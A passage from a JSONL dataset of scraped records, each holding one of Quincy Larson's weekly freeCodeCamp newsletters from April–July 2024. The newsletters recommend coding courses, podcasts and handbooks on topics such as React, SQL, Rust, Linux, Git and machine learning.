application promises to render software development trivial. It is the mark of the professional software engineer to know that no such panacea exist.\"* — Grady Booch, software engineer and creator of Unified Modeling Language", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740168"}
{"id": "gh_37093dbd5505", "question": "How to: July 26, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. System Design questions come up all the time in developer interviews. Employers ask these because they want to make sure that you know how to turn design requirements into production-grade code. Thankfully, freeCodeCamp has a new crash course will teach you the key concepts. You'll learn about Scalability, Availability, Data Handling, High-Level Architecture, and more. (1 hour YouTube course): https://www.freecodecamp.org/news/learn-system-design-principles\n\n2. Learn to code your own sticky note app using React and Appwrite, a Backend-as-a-Service tool. Dennis Ivy is an excellent programming teacher, and he'll walk you through building this beginner-level app step-by-step. You can code along at home. (2 hour YouTube course): https://www.freecodecamp.org/news/build-a-sticky-notes-app-with-react-and-appwrite/\n\n3. Learn how to do heavy-duty Machine Learning without first needing to get a PhD in mathematics. On this week's podcast, I interview Daniel Bourke, who has created many popular AI learning resources over the years. We talk about how as a kid he broke into his school's network and gave himself good grades, just like Matthew Broderick in Wargames. Daniel then spent years fixing people's computers from around the Brisbane area before learning how to code. He explains how Machine Learning actually works, and what LLMs are doing for you behind the scenes. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/how-to-get-machine-learning-skills-without-doing-a-phd-in-math-podcast-133-with-daniel-bourke/\n\n4. Learn how to use React's Context API. This lets you share values between React components a lot more easily than the old-fashioned way of passing props down a component tree. This tutorial will give you lots of practical examples of how to leverage the power of the Context API in your apps. (20 minute read): https://www.freecodecamp.org/news/react-context-api-tutorial-examples/\n\n5. Lazy Loading doesn't sound like it would be a good thing, but in the case of JavaScript performance, it is. Lazy Loading is a design pattern where you only fetch mission-critical data from the server first, then go back to get other data as needed. This tutorial will teach you how to perform Lazy Loading using React and the popular Next.js framework. You'll learn about Dynamic Import, Suspense, and React.lazy. You'll also learn the limits of this design pattern, and why developers don't just use it for everything under the sun. (30 minute read): https://www.freecodecamp.org/news/next-js-performance-optimization/\n\nJoke of the Week: *\"There are only two hard things in computer science: cache invalidation, naming things, and off-by-one errors.\"* — Leon Bambrick, programmer", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740179"}
{"id": "gh_059af8f002a0", "question": "How to: July 12, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Andrew Brown is a CTO who has passed dozens of cloud certification exams over the years. And he's back with an in-depth guide to the popular AWS SysOps certification exam. This course will not only teach you everything tested on the exam – it will also ground you in cloud engineering concepts. So what is SysOps? Well, it's like a traditional SysAdmin (System Administrator) role that pretty much every company has – but for cloud servers. This freeCodeCamp course will cover Networking, Logging, Metrics, Events, Security, Load Balancing, Serverless Architecture, and more. If you want to take the plunge and learn all these skills, this course has got you covered. (68 hour YouTube course): https://www.freecodecamp.org/news/prepare-to-pass-the-aws-sysops-administrator-associate-soa-c02-certification/\n\n2. freeCodeCamp just published a TypeScript for beginners course to help you learn the art of statically-typed JavaScript. Most scripting languages like JavaScript and Python are dynamically-typed. But this causes so many additional coding errors. By sticking with static types – like Java and C++ do – JavaScript developers can save themselves a lot of debugging. Instructor and software engineer Bob Ziroll will teach you TypeScript fundamentals like Literal Types, Unions, Generics, and more. (2 hour YouTube course): https://www.freecodecamp.org/news/learn-typescript-with-interactive-lessons/\n\n3. \"The Swiss Army Knife is kind of bad at everything. But it's got a real good general sense, and it will help you survive. I want people to become Swiss Army Knife developers.\" That's an excerpt from my conversation with Scott Hanselman, a software engineer at Microsoft. He shares many of the lessons he's learned from his multi-decade career, and from conducting more than 900 podcast interviews with devs. I talk with him about so many topics, like how it took him 11 years to finish college, and what it's like to lead a fully remote team of devs from his hometown of Portland. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/what-scott-hanselman-learned-from-900-podcast-interviews-with-devs-podcast-131/\n\n4. Optimistic UI is a new User Interface Design approach that gets its name from its blind optimism. Instead of waiting for confirmation from the server, an Optimistic UI front-end assumes everything will turn out OK, and immediately updates itself to reflect user input. This reduces perceived latency and simplifies complex UI interactions like dragging and dropping. This tutorial by developer Jaja David will teach you key concepts like Stale-While-Revalidate and Optimistic CRUD. It will also explore the drawbacks of this happy-go-lucky approach. (30 minute read): https://www.freecodecamp.org/news/improve-user-experience-with-optimistic-ui-swr/\n\n5. Learn React Native by coding your own meditation mobile app. React Native is a JavaScript framework that you can use to build native apps that you can then publish in the Apple and Android app stores. This course will teach you how to structure your app and set up your developer environment. Then you'll learn about React Components, Props, Styles, and more. You'll also learn how to use React Router and NativeWind, a universal style system based on Tailwind CSS. (2 hour YouTube course): https://www.freecodecamp.org/news/build-a-meditation-app-with-react-native-expo-router/\n\nQuote of the Week: *\"Most people don’t even know what SysAdmins do. But trust me, if they all took a lunch break at the same time, they wouldn’t make it to the deli before you ran out of bullets protecting your canned goods from roving bands of mutants.\"* — Peter Welch, SysAdmin", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740201"}
{"id": "gh_0eae6b7e629d", "question": "How to: July 5, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a game development course that will walk you through coding your own Metroidvania style game. The term “Metroidvania” comes from a genre of platformer adventure games where your character explores a large interconnected game world. Some of my favorite Metroidvania games include Hollow Knight and Castlevania: Symphony of the Night. This beginner-level JavaScript course will show you how to implement enemy AI, room-linking logic, boss battles, and more. (5 hour YouTube course): https://www.freecodecamp.org/news/javascript-gamedev-with-kaboomjs/\n\n2. Learn the fundamentals of the Go programming language (Golang) by coding your own payment platform. Georgio Tunson is a software engineer who uses Golang extensively, and he teaches this beginner-friendly course. You'll learn about Golang's basic syntax, data structures, concurrency model, and more. (5 hour YouTube course): https://www.freecodecamp.org/news/go-for-absolute-beginners/\n\n3. On this week's freeCodeCamp podcast, I interview Alison Yoon. She started her career in Korea's fashion industry before transitioning into web design. From there, she used freeCodeCamp to further expand her skills. She now works as a front end developer at a tech company in London. We talk about her coding journey, and her leadership of the freeCodeCamp Korean translation effort. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/from-fashion-to-software-engineer-with-alison-yoon-podcast-130/\n\n4. Learn about State Management in JavaScript with this new Redux Data Flow Handbook. Joan Ayebola is a Front End Developer who has a knack for explaining technical concepts in a way newbie devs can understand. Her book will teach you how to harness the power of Unidirectional Data Flows in your app. You'll learn about Reducer Functions, Dispatching Actions, Redux Middleware, and more. (full-length handbook): https://www.freecodecamp.org/news/how-data-flows-in-redux/\n\n5. And finally, tell your Spanish-speaking friends: freeCodeCamp just published a new course on React for beginners. Carpi Coder, a Spanish-speaking software engineer, will teach you how to leverage the flexible React front-end JavaScript library. You'll also learn how to fetch data from a Firebase API and display it in your app. (5 hour YouTube course): https://www.freecodecamp.org/news/learn-react-in-spanish-beginners-course\n\nQuote of the Week: *\"When I make characters, I try to design them in a way that teaches players how to play the game. In other words, if an enemy looks too pretty, they won't seem like an enemy to the player. But if you give them an enemy-like appearance, then the player won't need to read the manual or anything to know: ‘oh, I've got to avoid this guy.’\"* — Gunpei Yokoi, who helped develop the original 1986 Metroid game that spawned the Metroidvania game genre", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740211"}
{"id": "gh_fb31ec16ab11", "question": "How to: June 28, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a GameDev course on Godot, an open source game engine similar to Unity 3D and Unreal Engine. You can use Godot to build multi-platform games, then publish them on mobile and desktop platforms through Steam, Epic, Itch, and other game storefronts. This beginner course will teach you Godot fundamentals by walking you through step-by-step as you code your own fully-playable 3D RPG game. You'll learn how to build your game environment, spawn monsters. You'll add inventory systems, leveling systems, combat sounds, and even lighting effects. (6 hour YouTube course): https://www.freecodecamp.org/news/learn-to-create-a-3d-rpg-game-with-godot/\n\n2. Vim is a powerful code editor that comes built-in with most operating systems, including Linux and MacOS. Vim lets you to do almost anything with just a few keystrokes. You'll never need to take your hand off your keyboard to reach for your mouse again. This course by CTO Andrew Brown will give you a solid foundation in using Vim in just a few hours. Then if you want to become as proficient as he is, you can keep practicing while coding over the coming months, and feel that sheer build-up of speed. Ride like the wind! (4 hour YouTube course): https://www.freecodecamp.org/news/mastering-vim-your-guide-to-efficient-text-editing/\n\n3. On this week's podcast, I interview Adrian Twarog. He's a software engineer who started his career by working as the office IT guy for 10 years. He's since published YouTube courses that millions of people have watched. We talk about how he learned to code by volunteering to take on web design projects at work. He started making design tutorials on YouTube and published 300 in a single year. And he accomplished all this from Perth, Australia – as far as you can get from Silicon Valley. I think you'll dig our conversation. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/why-are-senior-developers-learning-low-code-and-ai-tools-adrian-twarog-interview-129/\n\n4. React is a truly ubiquitous web development framework. And the React team just released their long-awaited Version 19. Well, freeCodeCamp moved quickly and published a comprehensive guide to all of React's new features. You'll learn about the new React Compiler that can find performance optimizations in your code for you. You'll also learn about improvements like the new Form Actions for managing states and handling user interactions. This course is an excellent starting point for React Newbies and returning React veterans alike. (1 hour YouTube course): https://www.freecodecamp.org/news/whats-new-in-react-19/\n\n5. There's a ton of hype around Generative AI. But it's not all hype – there's some real utility there, too. This new handbook will lay out some of the ways companies are using GenAI to discover new medicines and coordinate responses to emergencies. It's a breezy read written with non-developers in mind, summarizing a lot of recent research papers. (full-length handbook): https://www.freecodecamp.org/news/generative-ai-handbook/\n\nQuote of the Week: *\"Whether it's a 2D game or a 3D game, I always try to create a believable world for that game. Even the text of a game can contribute to that world feeling alive, I think. Having text prepared for every place you investigate, and having that text change depending on the circumstances, I think really helps create the illusion that you are “in” that world.\"* — Hideo Kojima, Creator of Metal Gear Solid", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740223"}
{"id": "gh_f26ad7d88500", "question": "How to: June 21, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a Linux course that will teach you how to use some of the open source operating system's most powerful features. It's designed with both Linux beginners and intermediate users in mind. You'll learn Linux's file system with hard links, soft links, permissions, and root accounts. You'll also learn how to use grep, a command line tool for finding what you need inside large datasets. This course also includes interactive labs, so you can apply the new skills you're learning. (2 hour YouTube course): https://www.freecodecamp.org/news/free-linux-crash-course-with-labs/\n\n2. One of the most exciting areas of AI at the moment is Retrieval Augmented Generation (RAG). This freeCodeCamp Python course will teach you how to combine your own custom data with the power of Large Language Models (LLMs). You'll use LangChain, Mistral AI, Ollama, and more. You'll learn straight from Per Borgan, a software engineer, teacher, and long-time friend of mine. (2 hour YouTube course): https://www.freecodecamp.org/news/building-intelligent-apps-with-mistral-ai/\n\n3. On this week's freeCodeCamp podcast I interview designer and developer Colby Fayock. We talk about his journey from designing truck wraps to working as a software engineer. He also shares his day-to-day life building APIs and SDKs, and how he uses AI at work. Believe it or not, Colby doubled as a male model at ThinkGeek, which was kind of like The Sharper Image but for Star Wars fans. I think you'll enjoy our conversation. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/quincy-interviews-colby-fayock-dev-designer-male-model-prolific-fcc-contributor-podcast-128/\n\n4. freeCodeCamp just published an entire handbook focused on PHP and its powerful array data structure. It's chock-full of code examples. You can code along at home and build your own soccer player sports card app. This is another excellent PHP reference from prolific author Kolade Chris. (full-length handbook): https://www.freecodecamp.org/news/php-arrays-how-to-rebuild-the-football-team-cards-with-php-and-mongodb/\n\n5. The Black-Scholes Equation is the most important mathematical formula that most people have never heard of. Black-Scholes completely revolutionized corporate finance when it was discovered in 1973. This tutorial will explain how the formula works, and how you can implement it in Python. Then you'll use it to predict the price of concert tickets, and learn about its many other real-world applications. (15 minute read): https://www.freecodecamp.org/news/how-the-black-scholes-equation-works-python-examples/\n\nQuote of the Week: *\"Innovation must lead infrastructure for a simple but compelling reason: Innovation produces new types of products and markets, and it is virtually impossible to know how to run those markets efficiently before they are created.\"* — Myron Scholes, Nobel Prize winning economist and co-creator of the Black-Scholes Equation", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740233"}
{"id": "gh_593fd354ebbb", "question": "How to: May 31, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. My hero Dr. Chuck created this comprehensive C programming course and shared it with the global freeCodeCamp community. Dr. Chuck is a University of Michigan computer science professor, and he is a hardcore advocate for everyone learning C. Not only will this course help you understand computer architecture and low-level programming. It will also teach you Object-Oriented Programming concepts. This course even includes an interview with the creator of Python, Guido van Rossum. As you may know, Python – like most modern programming languages – is built on top of C. (18 hour YouTube course): https://www.freecodecamp.org/news/complete-c-programming-course-from-dr-chuck/\n\n2. Learn Linear Algebra so you can build your own AI systems. Tatev Aslanyan is a data scientist who has taught several freeCodeCamp courses over the past few years, mostly focused on Machine Learning. She'll teach you the key Linear Algebra concepts that come up over and over in developing modern AI tools. You'll learn about Vector Spaces, Euclidean Distance, Matrix Operations, Gaussian Elimination, and more. (6 hour YouTube course): https://www.freecodecamp.org/news/linear-algebra-crash-course-mathematics-for-machine-learning-and-generative-ai/\n\n3. On this week's podcast, I interview software engineer Jerod Santo, who hosts the longest-running podcast on open source, The Changelog. We talk about his life as a remote dev in Omaha, Nebraska, where he's raising his 6 kids. We also talk about the new Changelog News podcast with its weekly 10-minute updates on the world of open source. He shares his process for researching and surfacing interesting developments. And he also talks about emerging trends in open source, such as the controversial relicensing of Terraform. I had a blast learning from Jerod and I think you will, too. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/open-source-is-changing-the-changelog-host-jerod-santo-on-how-to-keep-up-podcast-125/\n\n4. Andrew Brown is a CTO who has passed dozens of cloud certification exams over the years. And he's back with an updated guide to the popular AWS Certified Solutions Architect Associate exam. This course will not only teach you everything tested on the exam – it will also ground you in cloud engineering fundamentals. And no, that's not a typo. This really is a 50 hour course. But as opera singer Beverly Sills once said, there are no shortcuts to anywhere worth going. (50 hour YouTube course): https://www.freecodecamp.org/news/pass-the-aws-certified-solutions-architect-associate-certification/\n\n5. Two of the most important tools in any data scientist's toolbox are Linear Regression and Logistic Regression. This tutorial by data scientist Olu Samuel Praise will teach you how to apply each of these techniques for analyzing data and making predictions. In short, Logistic Regression will give you a binary classification of data: is this picture of a hot dog – yes or no? And Linear Regression will give you a continuous value like a percentage. For example, predicting exam scores from students based on their attendance and hours studied. Again, both approaches are super useful and I think you'll learn a lot from this quick read. (10 minute read): https://www.freecodecamp.org/news/linear-regression-vs-logistic-regression/\n\nQuote of the Week: *\"C retains the basic philosophy that programmers know what they are doing; it only requires that they state their intentions explicitly.\"* — Brian W. Kernighan, who created the C Programming language alongside Dennis Ritchie back in the 1970s", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740265"}
{"id": "gh_50126ab3ac3e", "question": "How to: May 24, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. This university-level precalculus course will help you learn mathematical concepts and apply them using Python. Ed Pratowski has decades of experience teaching both math and computer science. This hands-on course will not only teach you the mathematical concepts and notation – it will also show you how to implement these in Python as runnable code. This freeCodeCamp course will also prepare you for our more advanced engineering mathematics courses that we'll publish over the coming 36 months. (12 hour YouTube course): https://www.freecodecamp.org/news/learn-college-precalculus-with-python/\n\n2. On this week's podcast, I interview ThePrimeagen, a former Netflix engineer who live-streams his coding on Twitch. He shares his thoughts on AI tools and why he ripped GitHub Copilot out from his code editor. He thinks AI will create more software engineer jobs than it destroys. We also explore his love of hard Nintendo games and why he left Silicon Valley to live on a horse ranch in South Dakota. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/ai-is-overrated-why-theprimeagen-ripped-out-github-copilot-from-his-code-editor-podcast-124/\n\n3. freeCodeCamp just published a handbook that can help you prepare for coding interviews during your job search. You'll learn key JavaScript concepts like hoisting, closures, and currying – all with code examples. You'll also learn how to use Asynchronous Programming keywords like async and await. This is an excellent reference that you can come back to time and time again, so be sure to bookmark it. (full-length handbook): https://www.freecodecamp.org/news/js-interview-prep-handbook/\n\n4. We also published a comprehensive handbook on Object-Oriented Programming in JavaScript. This will teach you how JS Classes work, and how you can use them to implement design patterns. You'll learn about Constructors, Class Field Methods, the “super” keyword, and the famously confusing “this” keyword. Learn it, know it, live it. (full-length handbook): https://www.freecodecamp.org/news/javascript-class-handbook/\n\n5. In Machine Learning, Fine-Tuning is the process of taking a model that you've already trained (or a foundation model like Llama) and enhancing it with your own datasets. For example, you could take a Large Language Model and make it much better at chess by fine-tuning it by feeding it thousands of famous chess games. This course will first teach you about Quantization, a technique to optimize models for efficiency. Then you'll learn modern methods of fine-tuning like LORA and QLORA. Next you'll delve into Gradient-based optimization methods. Finally you'll learn how to build AI pipelines and how to fine-tune models using your own datasets. (2 hour YouTube course): https://www.freecodecamp.org/news/fine-tuning-llm-models-course/\n\nQuote of the Week: *\"Calculus is fundamentally naive. Almost childish in its optimism. Experience teaches us that change can be sudden, discontinuous, and wrenching. Calculus draws its power by refusing to see that. It insists on a world without accidents, where one thing leads logically to another. Give me the initial conditions and the law of motion, and with calculus I can predict the future – or better yet, reconstruct the past.\"* — Steven H. Strogatz, Mathematician, Author, and Professor at Cornell", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740276"}
{"id": "gh_ca943d8426a7", "question": "How to: May 10, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. freeCodeCamp just published a practical guide to the math and theory that power modern AI models. This course for beginners is taught by Data Scientist and MLOps Engineer Ayush Singh. He'll walk you through some basic Linear Algebra, Calculus, and Matrix math so you can better understand what's happening under the hood. Then he'll teach you key Machine Learning concepts like Neural Networks, Perceptrons, and Backpropagation. If you want to expand your math skills so you can work with cutting edge tools, this course is for you. (14 hour YouTube course): https://www.freecodecamp.org/news/deep-learning-course-math-and-applications/\n\n2. Jose Nunez is a software engineer and running enthusiast. He recently ran a tower race – up 86 flights of stairs to the top of the Empire State Building. He wanted to analyze his performance data, but found the event's official website to be lacking. In this tutorial, he'll show you how he scraped the data, cleaned it, and analyzed it himself using Python. He'll also show how he created data visualizations and even coded an app so his fellow racers can view their results. If you're looking for real-life hands-on data science projects, this is an excellent one to learn from and find inspiration in. (1 hour read): https://www.freecodecamp.org/news/empire-state-building-run-up-analysis-with-python/\n\n3. On this week's episode of the freeCodeCamp podcast, I interview prolific programming teacher John Smilga. He talks about what it was like growing up in Latvia, which was then part of the Soviet Union. He worked construction in the US for 5 years before teaching himself to code and becoming a professional developer. Today he has taught millions of fellow devs through his many courses on freeCodeCamp. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/from-construction-worker-to-teaching-millions-of-developers-with-john-smilga-podcast-122/\n\n4. Learn how to wield the most popular Version Control System in history: Git. Hitesh Choudhary is a software engineer who has published many courses on freeCodeCamp over the years. And this is one of his best. You'll learn how to use Git to make changes to a codebase, track those changes, submit them for review, and even how to revert changes if you break something. You'll also learn how to use Git to collaborate with developers around the world through the global Open Source community. (4 hour YouTube course): https://www.freecodecamp.org/news/learn-git-in-detail-to-manage-your-code/\n\n5. And if you want to go even deeper with Git, you can earn a certification in GitHub Actions. These are Serverless DevOps tools that let you automate development workflows like building, testing, and deploying code. Andrew Brown is a CTO who has passed more than 50 DevOps certifications over the years. He teaches this freeCodeCamp course, which covers everything that's on the certification exam. (3 hour YouTube course): https://www.freecodecamp.org/news/pass-the-github-actions-certification-exam/\n\nQuote of the Week: *\"In mathematics, you don't understand things. You just get used to them.\"* — John von Neumann, Mathematician, Engineer, and Computer Scientist", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740299"}
{"id": "gh_56c48ce7a358", "question": "How to: May 3, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Kirby is a classic Nintendo game where you control a squishy pink alien with a massive appetite. And in this freeCodeCamp course, you'll code your own version of Kirby that runs in a browser. You'll learn TypeScript – a statically-typed version of JavaScript – and the Kaboom.js library. This course includes all the sprite assets you'll need to build a playable platformer game that you can share with your friends. (2 hour YouTube course): https://www.freecodecamp.org/news/code-a-kirby-clone-with-typescript-and-kaboomjs/\n\n2. And if you want to learn what it's like being a professional GameDev, I interviewed Ben Awad, creator of Voidpet, which I can only describe as a sort of Emotional Support Pokémon-like mobile game. Ben is a prolific coding tutorial creator, and has a weird but popular TikTok channel as well. I had a blast learning more about his adventures over the past few years. Did you know he sleeps 9 hours every single night? He swears by it. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/ben-awad-is-a-gamedev-who-sleeps-9-hours-every-night-to-be-productive-podcast-121/\n\n3. You've heard of personal portfolio websites. But what about a portfolio that runs right in a command line terminal? That's right – this tutorial will teach you how to build an interactive portfolio experience, complete with ASCII art, a résumé menu, and even a joke command. You'll learn all about Shell Commands, Tab Completion, Syntax Highlighting, and more. And at the end of the day, you'll have a fun way to share your work with potential clients and employers. (35 minute read): https://www.freecodecamp.org/news/how-to-create-interactive-terminal-based-portfolio/\n\n4. The great thing about emerging AI tools is that you don't need to be a Machine Learning Engineer with a PhD in Applied Mathematics just to be able to get things done with them. The burgeoning field of “AI Engineering” is essentially just web developers using AI APIs and off-the-shelf tools to power up their existing apps. We just published this course, taught by frequent freeCodeCamp contributor Tom Chant. It will introduce you to this new skill set and this new way of leveraging AI. (2 hour YouTube course): https://www.freecodecamp.org/news/learn-ai-engineering-with-openai-and-javascript/\n\n5. What's the difference between React and Next.js? And while we're at it, what's the difference between a library and a framework? In this course, software engineer Ankita Kulkarni will explain these concepts. And she'll also teach you various data fetching mechanisms and rendering strategies. If you want to expand your understanding of Front End Development, this course is for you. (2 hour YouTube course): https://www.freecodecamp.org/news/whats-the-difference-between-react-and-nextjs/\n\nQuote of the Week: *\"Game development is very difficult. Nobody sets out to create a game that's not fun. It's all of the challenges and difficulties that happen throughout development that determine whether a game is a failure or a success. I think playing those thousands of games is the single best and easiest way to learn from my predecessors.\"* — Masahiro Sakurai, Software Engineer, Game Developer, and Creator of Kirby", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740310"}
{"id": "gh_0001ca1f212a", "question": "How to: Apr 26, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. If you've used spreadsheets before, you're all set to learn SQL. This freeCodeCamp course, taught by Senior Data Engineer Vlad Gheorghe, will help you grasp fundamental database concepts. Then you'll apply what you've learned by analyzing data using PostgreSQL and BigQuery. You'll learn about Nested Queries, Table Joins, Aggregate Functions, and more. Enjoy. (11 hour YouTube course): https://www.freecodecamp.org/news/learn-sql-for-analytics/\n\n2. On this week's episode of The freeCodeCamp Podcast, I interview my friend Andrew Brown. He's a CTO who has passed dozens of certification exams from AWS, Azure, Kubernetes, and other cloud companies. We talk about Cloud Engineering and he shares his advice for which certs he thinks people should prioritize if they want to get into the field. We also talk about his love of Star Trek and of the classic Super Nintendo game Tetris Attack. (2 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/cto-andrew-brown-passed-dozens-of-cloud-certification-exams-freecodecamp-podcast-episode-120/\n\n3. Learn Next.js by building your own cloud photo album app. Prolific freeCodeCamp instructor Colby Fayock will teach you how to use powerful AI toolkits that let your visitors modify photos right in their browsers. He also teaches key image optimization concepts. This is a great course for anyone interested in sharpening their front end development skills. (4 hour YouTube course): https://www.freecodecamp.org/news/create-a-google-photos-clone-with-nextjs-and-cloudinary/\n\n4. The Rust programming language has become quite popular recently. Even Linux now uses Rust in its kernel. A few years back, freeCodeCamp published a comprehensive interactive Rust course. And today I'm thrilled to share this new Rust Procedural Macros handbook. Procedural Macros let you execute Rust code at compile time, and Rust developers use these all the time. This handbook should serve as a helpful reference for you if you want to level up your Rust skills. (full-length handbook): https://www.freecodecamp.org/news/procedural-macros-in-rust/\n\n5. And finally, Tell your Spanish-speaking friends: freeCodeCamp just published a new course on Responsive Web Design, taught by Spanish-speaking software engineer David Choi. This course will teach you how to set up your developer environment, structure your web pages using HTML, and define CSS styles for both mobile and desktop viewport sizes. (2 hour YouTube course): https://www.freecodecamp.org/news/build-a-responsive-website-with-html-and-css-full-course-in-spanish/\n\nQuote of the Week: *\"The word SEQUEL turned out to be somebody’s trademark. So I took all the vowels out of it and turned it into SQL. That didn’t do too much damage to the acronym. It could still be the Structured Query Language.\"* — Donald Chamberlin, Co-Creator of SQL", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740320"}
{"id": "gh_450b09d10252", "question": "How to: Apr 19, 2024", "question_body": "About freeCodeCamp/awesome-quincy-larson-emails", "answer": "1. Learn statistics for Data Science and AI Machine Learning. freeCodeCamp just published this handbook that will help you learn key concepts like Bayes' Theorem, Confidence Intervals, and the Central Limit Theorem. It covers both the classical math notation and Python implementations of these concepts. This is a broad primer for developers who are getting into stats, and it's also a helpful reference you can bookmark and pull up as needed. (full-length handbook): https://www.freecodecamp.org/news/statistics-for-data-scientce-machine-learning-and-ai-handbook/\n\n2. And if you want to dig even further into applied Data Science, freeCodeCamp also published this in-depth Python course on A/B Testing and optimization. It will teach you core concepts like Hypothesis Testing, Statistical Significance Levels, Pooled Estimates, and P-values. (3 hour YouTube course): https://www.freecodecamp.org/news/applied-data-science-a-b-testing/\n\n3. One of the most exciting areas of AI at the moment is Retrieval Augmented Generation (RAG). This freeCodeCamp Python course will teach you how to combine your own custom data with the power of Large Language Models (LLMs). You'll learn straight from a software engineer who works on the popular LangChain open source project, Dr. Lance Martin. (3 hour YouTube course): https://www.freecodecamp.org/news/mastering-rag-from-scratch/\n\n4. This week I interviewed software engineer and visual artist Kass Moreno about her photo-realistic CSS art. Frankly you have to see her art to believe it. She painstakingly recreates manufactured objects like cameras, gameboys, and synthesizers using nothing but CSS. We talk about her childhood in Mexico and Texas, dropping out of architecture school, her listless years of working in retail, and how she ultimately learned to code using freeCodeCamp and got her first developer role. (1 hour watch or listen in your favorite podcast app): https://www.freecodecamp.org/news/css-artist-kass-moreno-freecodecamp-podcast-119/\n\n5. Learn how to build your own movie recommendation engine using Python. You'll use powerful data libraries like scikit-learn, Pandas, and the Natural Language Toolkit. By the end of this tutorial, you'll have a tool that can recommend movies to you based on content and genre. (1 hour read): https://www.freecodecamp.org/news/build-a-movie-recommendation-system-with-python/\n\nQuote of the Week: *\"Python is everywhere at Industrial Light & Magic. It's used to extend the capabilities of our applications, as well as providing the glue between them. Every computer-generated image we create has involved Python somewhere in the process.\"* — Philip Peterson, Principal Engineer at ILM, the special effects company behind Star Wars and so many other Hollywood movies", "tags": ["freeCodeCamp"], "source": "github_gists", "category": "freeCodeCamp", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 1180, "answer_score": 10, "has_code": false, "url": "https://github.com/freeCodeCamp/awesome-quincy-larson-emails", "collected_at": "2026-01-17T12:56:24.740330"}
